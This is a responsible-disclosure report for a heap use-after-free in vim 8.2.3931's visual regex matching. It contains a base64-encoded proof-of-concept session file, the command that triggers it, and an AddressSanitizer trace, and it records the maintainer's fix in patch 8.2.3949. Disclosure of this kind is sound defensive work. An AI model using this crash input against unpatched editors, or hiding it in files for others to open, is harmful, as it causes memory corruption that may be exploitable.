Use After Free in vim/vim

Valid

Reported on

Dec 29th 2021


Description

A use after free vulnerability has been found in vim 8.2.3931 (commit hash febb78fa1798e0f95983b3f7881419a754886df5). The bug has been reproduced on Ubuntu 20.04 with gcc 9.3.0.

Proof of Concept

After building vim with gcc and ASAN run vim with the following session file:

$ echo -ne 'bm9ybTBvAxZrGG8wCi9cJVY=' | base64 -d > poc
$ vim -u NONE -i NONE -n -X -Z -e -m -s -S ./poc -c ':qa!'
=================================================================
==31247==ERROR: AddressSanitizer: heap-use-after-free on address 0x6020000081f0 at pc 0x5645fa92569b bp 0x7ffcad96b2c0 sp 0x7ffcad96b2b0
READ of size 1 at 0x6020000081f0 thread T0
    #0 0x5645fa92569a in win_linetabsize /home/faraday/vim/src/charset.c:819
    #1 0x5645fa2eac60 in reg_match_visual /home/faraday/vim/src/regexp.c:1330
    #2 0x5645fa378fe9 in nfa_regmatch /home/faraday/vim/src/regexp_nfa.c:6889
    #3 0x5645fa37b8fc in nfa_regtry /home/faraday/vim/src/regexp_nfa.c:7245
    #4 0x5645fa37e5d0 in nfa_regexec_both /home/faraday/vim/src/regexp_nfa.c:7440
    #5 0x5645fa37f90f in nfa_regexec_multi /home/faraday/vim/src/regexp_nfa.c:7660
    #6 0x5645fa3815a2 in vim_regexec_multi /home/faraday/vim/src/regexp.c:2908
    #7 0x5645fa3e3830 in searchit /home/faraday/vim/src/search.c:746
    #8 0x5645fa3e8d1c in do_search /home/faraday/vim/src/search.c:1546
    #9 0x5645f9e8a2ef in get_address /home/faraday/vim/src/ex_docmd.c:4284
    #10 0x5645f9e7b6f7 in parse_cmd_address /home/faraday/vim/src/ex_docmd.c:3235
    #11 0x5645f9e6e699 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:1945
    #12 0x5645f9e669eb in do_cmdline /home/faraday/vim/src/ex_docmd.c:994
    #13 0x5645fa3d8292 in do_source /home/faraday/vim/src/scriptfile.c:1423
    #14 0x5645fa3d4e5b in cmd_source /home/faraday/vim/src/scriptfile.c:985
    #15 0x5645fa3d4fdf in ex_source /home/faraday/vim/src/scriptfile.c:1011
    #16 0x5645f9e72cce in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2572
    #17 0x5645f9e669eb in do_cmdline /home/faraday/vim/src/ex_docmd.c:994
    #18 0x5645f9e645a8 in do_cmdline_cmd /home/faraday/vim/src/ex_docmd.c:588
    #19 0x5645fa94b8b8 in exe_commands /home/faraday/vim/src/main.c:3080
    #20 0x5645fa93d3ff in vim_main2 /home/faraday/vim/src/main.c:774
    #21 0x5645fa93c8e7 in main /home/faraday/vim/src/main.c:426
    #22 0x7f58b19530b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    #23 0x5645f9be1d7d in _start (/home/faraday/vim/src/vim+0x120ed7d)

0x6020000081f0 is located 0 bytes inside of 2-byte region [0x6020000081f0,0x6020000081f2)
freed by thread T0 here:
    #0 0x7f58b38e97cf in __interceptor_free (/lib/x86_64-linux-gnu/libasan.so.5+0x10d7cf)
    #1 0x5645f9be24f4 in vim_free /home/faraday/vim/src/alloc.c:619
    #2 0x5645fa0ba1e0 in ml_flush_line /home/faraday/vim/src/memline.c:4060
    #3 0x5645fa0aaaa6 in ml_get_buf /home/faraday/vim/src/memline.c:2647
    #4 0x5645fa9298b0 in getvcol /home/faraday/vim/src/charset.c:1238
    #5 0x5645fa92bf69 in getvvcol /home/faraday/vim/src/charset.c:1419
    #6 0x5645fa2eaa5a in reg_match_visual /home/faraday/vim/src/regexp.c:1322
    #7 0x5645fa378fe9 in nfa_regmatch /home/faraday/vim/src/regexp_nfa.c:6889
    #8 0x5645fa37b8fc in nfa_regtry /home/faraday/vim/src/regexp_nfa.c:7245
    #9 0x5645fa37e5d0 in nfa_regexec_both /home/faraday/vim/src/regexp_nfa.c:7440
    #10 0x5645fa37f90f in nfa_regexec_multi /home/faraday/vim/src/regexp_nfa.c:7660
    #11 0x5645fa3815a2 in vim_regexec_multi /home/faraday/vim/src/regexp.c:2908
    #12 0x5645fa3e3830 in searchit /home/faraday/vim/src/search.c:746
    #13 0x5645fa3e8d1c in do_search /home/faraday/vim/src/search.c:1546
    #14 0x5645f9e8a2ef in get_address /home/faraday/vim/src/ex_docmd.c:4284
    #15 0x5645f9e7b6f7 in parse_cmd_address /home/faraday/vim/src/ex_docmd.c:3235
    #16 0x5645f9e6e699 in do_one_cmd /home/faraday/vim/src/ex_docmd.c:1945
    #17 0x5645f9e669eb in do_cmdline /home/faraday/vim/src/ex_docmd.c:994
    #18 0x5645fa3d8292 in do_source /home/faraday/vim/src/scriptfile.c:1423
    #19 0x5645fa3d4e5b in cmd_source /home/faraday/vim/src/scriptfile.c:985
    #20 0x5645fa3d4fdf in ex_source /home/faraday/vim/src/scriptfile.c:1011
    #21 0x5645f9e72cce in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2572
    #22 0x5645f9e669eb in do_cmdline /home/faraday/vim/src/ex_docmd.c:994
    #23 0x5645f9e645a8 in do_cmdline_cmd /home/faraday/vim/src/ex_docmd.c:588
    #24 0x5645fa94b8b8 in exe_commands /home/faraday/vim/src/main.c:3080
    #25 0x5645fa93d3ff in vim_main2 /home/faraday/vim/src/main.c:774
    #26 0x5645fa93c8e7 in main /home/faraday/vim/src/main.c:426
    #27 0x7f58b19530b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)

previously allocated by thread T0 here:
    #0 0x7f58b38e9bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
    #1 0x5645f9be221e in lalloc /home/faraday/vim/src/alloc.c:244
    #2 0x5645f9be1fe9 in alloc /home/faraday/vim/src/alloc.c:151
    #3 0x5645f9c4f8d8 in ins_char_bytes /home/faraday/vim/src/change.c:1088
    #4 0x5645f9c4e8c8 in ins_char /home/faraday/vim/src/change.c:1003
    #5 0x5645f9d718b5 in insertchar /home/faraday/vim/src/edit.c:2276
    #6 0x5645f9d6f7e8 in insert_special /home/faraday/vim/src/edit.c:2031
    #7 0x5645f9d6a3c4 in edit /home/faraday/vim/src/edit.c:1372
    #8 0x5645fa190f68 in invoke_edit /home/faraday/vim/src/normal.c:7236
    #9 0x5645fa1889e6 in n_opencmd /home/faraday/vim/src/normal.c:6517
    #10 0x5645fa19572c in nv_open /home/faraday/vim/src/normal.c:7615
    #11 0x5645fa14d625 in normal_cmd /home/faraday/vim/src/normal.c:1114
    #12 0x5645f9eb0aee in exec_normal /home/faraday/vim/src/ex_docmd.c:8630
    #13 0x5645f9eb08ad in exec_normal_cmd /home/faraday/vim/src/ex_docmd.c:8593
    #14 0x5645f9eafdcb in ex_normal /home/faraday/vim/src/ex_docmd.c:8511
    #15 0x5645f9e72cce in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2572
    #16 0x5645f9e669eb in do_cmdline /home/faraday/vim/src/ex_docmd.c:994
    #17 0x5645fa3d8292 in do_source /home/faraday/vim/src/scriptfile.c:1423
    #18 0x5645fa3d4e5b in cmd_source /home/faraday/vim/src/scriptfile.c:985
    #19 0x5645fa3d4fdf in ex_source /home/faraday/vim/src/scriptfile.c:1011
    #20 0x5645f9e72cce in do_one_cmd /home/faraday/vim/src/ex_docmd.c:2572
    #21 0x5645f9e669eb in do_cmdline /home/faraday/vim/src/ex_docmd.c:994
    #22 0x5645f9e645a8 in do_cmdline_cmd /home/faraday/vim/src/ex_docmd.c:588
    #23 0x5645fa94b8b8 in exe_commands /home/faraday/vim/src/main.c:3080
    #24 0x5645fa93d3ff in vim_main2 /home/faraday/vim/src/main.c:774
    #25 0x5645fa93c8e7 in main /home/faraday/vim/src/main.c:426
    #26 0x7f58b19530b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)

SUMMARY: AddressSanitizer: heap-use-after-free /home/faraday/vim/src/charset.c:819 in win_linetabsize
Shadow bytes around the buggy address:
  0x0c047fff8fe0: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd
  0x0c047fff8ff0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
  0x0c047fff9000: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff9010: fa fa fd fa fa fa fd fa fa fa 02 fa fa fa 01 fa
  0x0c047fff9020: fa fa 01 fa fa fa fd fa fa fa 02 fa fa fa fd fa
=>0x0c047fff9030: fa fa 01 fa fa fa 00 00 fa fa 01 fa fa fa[fd]fa
  0x0c047fff9040: fa fa 05 fa fa fa 02 fa fa fa 04 fa fa fa 04 fa
  0x0c047fff9050: fa fa 04 fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==31247==ABORTING

While the poc input file contains a few non-printable characters, these cannot be minimized or left out because they will be interpreted as key presses by vim (because of the first norm command).

Impact

An UAF can cause memory corruption, that can lead to crash or other undefined (potentially exploitable) behavior.

Acknowledgements

This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team.

We are processing your report and will contact the vim team within 24 hours. a month ago
octaviogalland modified their report
a month ago
We have contacted a member of the vim team and are waiting to hear back a month ago
Bram Moolenaar validated this vulnerability a month ago
octaviogalland has been awarded the disclosure bounty
The fix bounty is now up for grabs
Bram Moolenaar
a month ago

Maintainer


Used the POC for a test. Made patch 8.2.3949 to fix it, test fails before the fix.

Bram Moolenaar confirmed that a fix has been merged on 4c13e5 a month ago
Bram Moolenaar has been awarded the fix bounty